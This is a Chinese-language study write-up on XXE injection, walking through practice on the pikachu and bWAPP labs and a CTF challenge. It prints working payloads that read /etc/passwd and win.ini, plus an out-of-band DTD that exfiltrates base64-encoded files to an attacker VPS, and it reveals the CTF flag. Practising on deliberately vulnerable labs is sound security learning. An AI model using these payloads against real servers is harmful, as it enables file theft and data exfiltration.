小记:XXE的靶场
1.XXE的触发基本条件
想要触发XXE靶场,必须满足以下的条件
- 网站开启了外部实体解析
- libxml<2.9.0 版本 默认开启了外部实体解析:默认开启了外部实体解析
- 网站管理员开启了外部实体解析(不过这个一般不太可能)
- 设置libxml_disable_entity_loader对应的值为False
对于XXE漏洞,其实只要将外部实体解析关掉就好,就可以杜绝
2.XXE能造成的危害
- 可以造成DOS攻击,耗尽服务器的资源(只需要一个简单的递归即可)
- 导致任意文件被读取
- 被攻击者进行内网探测
- 会导致RCE但是需要扩展except的模块,这个一般难以执行
3.有回显&&无回显对应的POC
1.有回显
先讲一下最简单的有回显的类型(在现实生活中一般不太可能)
其对应的poc如下,这是一个探针,如果能回显到“你今天真好看”这样的字段,那么漏洞存在
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe "你今天真好看" > ]>
<foo>&xxe;</foo>
那就可以进行如下的poc,如果是Windows的服务器就可以读取到它的win.ini
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
如果是Linux的服务器,就要如下的poc,就能读取到/etc/passwd的内容
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
于是,这就是有回显的操作
然后就是没有回显的操作,对于没有回显,我们就要采用类似于盲注的手段
2.带外通道OOB(Out-of-band)
首先你得有一台VPS,然后再上面部署一个这样的文件,我把它命名为xxe.dtd了
其中这里的base64编码是防止文件中存在存在< &这样的字符导致读取失败
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///对于服务器下的敏感文件">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://你VPS的公网ip?c=%file;'>">
然后,你就要在存XXE的地方发送一个这个
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://你的公网ip/xxe.dtd">
%remote;%int;%send;
]>
然后就会有这样的一个执行的效果
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.3.78:443/xxe.dtd">
%remote;
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.3.78:443?c=%file;'>">
%int;
"<!ENTITY % send SYSTEM 'http://192.168.3.78:443?c=1%file;'>"
%send;
"<!ENTITY % send SYSTEM 'http://192.168.3.78:443?c=c:\test.txt;'>"
]>
最后就能在VPS上看见这样的记录
4.pikachu靶场
1.有回显
首先可以先观察他的数据包,可以看见accept那里是可以接受xml的
于是就要尝试xml的注入,但是你直接发送是存在问题的
看见这个content_type咩有,他是对传参编码了的!!!所以我们要先url编码poc如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
url编码如下
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%20%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%66%6f%6f%20%5b%0a%3c%21%45%4e%54%49%54%59%20%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%77%69%6e%64%6f%77%73%2f%77%69%6e%2e%69%6e%69%22%20%3e%0a%5d%3e%0a%3c%66%6f%6f%3e%26%78%78%65%3b%3c%2f%66%6f%6f%3e
这样就能成功得到对应主机的win.ini文件
2.无回显
这里的无回显需要自己手动去设置,把对应的xxe_1.php里面的echo给注释掉
这样就变成没有回显的了,于是就开始我们的OOB!! 先去服务器上部署一个文件
我在c盘下面放了一个test.txt的文件,里面的内容如下
然后去部署我的VPS,其中他的ip是192.168.3.78 (实际上这里应该是一个公网的ip)
我先部署这样的一个文件(这个文件必须在你一会开启服务的目录下!!!)
然后在kali的相同目录下中运行
python3 -m http.server 443
然后只需要在本地上传这样一个poc
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.3.78:443/xxe.dtd">
%remote;%int;%send;
]>
URL编码后的结果
%3c%21%44%4f%43%54%59%50%45%20%63%6f%6e%76%65%72%74%20%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%2e%37%38%3a%34%34%33%2f%78%78%65%2e%64%74%64%22%3e%0a%25%72%65%6d%6f%74%65%3b%25%69%6e%74%3b%25%73%65%6e%64%3b%0a%5d%3e%0a
通过这样,就把他的文件内容外带出来了!!!
芜湖,成功外带
5.CTF ---> XXE
对应的网址是这个 http://web.jarvisoj.com:9882/
可以看他的accept是 */*
所以我们只需要将它的Content-Type 改成application/xml就好了!!!
试一下Windows的poc,发现不行,那就试一下Linux的poc
可以意外的发现有一个ctf 而且它的路径就在 /home/ctf这里 于是就可以去访问试试!!!
但是你直接访问/home/ctf 是没有用的,因为你只有访问一个文件才有用,而不是访问文件夹,
那就盲猜flag是在flag.txt里面咯!!!
成功拿到flag!!!
CTF{XxE_15_n0T_S7range_Enough}
6.BWAPP靶场
这个靶场有点奇怪,不知道是不是我的配置不当还是什么
首先是可以看见是这样的一个靶场的,然后可以在点击any bugs 的时候去抓包
能看见accept那里是 */* 而且content_type 也存在xml,最重要是它的内容,xml注入没跑了
于是构造poc:发现是存在XXE的
但是接下来我的靶场就和大部分的人的都不同了
不是我的请求记录呢???
我就发现了我连我自己Windows上的win.ini都访问不了!!!!
但是网上说这步是可以的,应该是我的靶场问题
总结:
寻找xxe的方法其实就是看以下的几点
- 提交方式是不是post
- 其中的accept的类型
- 其中的content_type是不是xml类型,不是的话可不可以改动
- 带有非常明显的xml标签的,即自定义的标签